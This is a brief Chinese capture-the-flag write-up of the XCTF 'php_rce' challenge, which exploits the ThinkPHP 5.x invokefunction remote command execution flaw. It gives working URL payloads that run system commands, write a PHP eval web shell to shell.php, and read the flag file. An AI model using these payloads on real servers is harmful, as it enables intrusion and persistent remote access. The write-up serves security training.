

XCTF php_rce

原创

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订阅专栏

ThinkPHP 5.X远程命令执行漏洞

利用system函数远程命令执行

```
?s=index\think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
```

写入shell

```
?s=/index/\think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
```

查找flag

The screenshot shows a web proxy interface with a search bar containing the URL: `http://111.198.29.45:39164/index.php?s=index/think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /`. A red box highlights the word 'flag' in the search bar. Below the search bar, there is a list of directory names: bin, boot, dev, etc, flag, home, lib, lib64, media, mnt, opt, proc, root, run, sbin, srv, sys, tmp, usr, var, var. Another red box highlights the word 'flag' in this list.

查看flag

The screenshot shows the same web proxy interface after the search. The URL now includes the search term: `http://111.198.29.45:39164/index.php?s=index/think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag`. The search results page displays the content: `flag{thinkphp5_rce} flag{thinkphp5_rce}`. A red box highlights this content.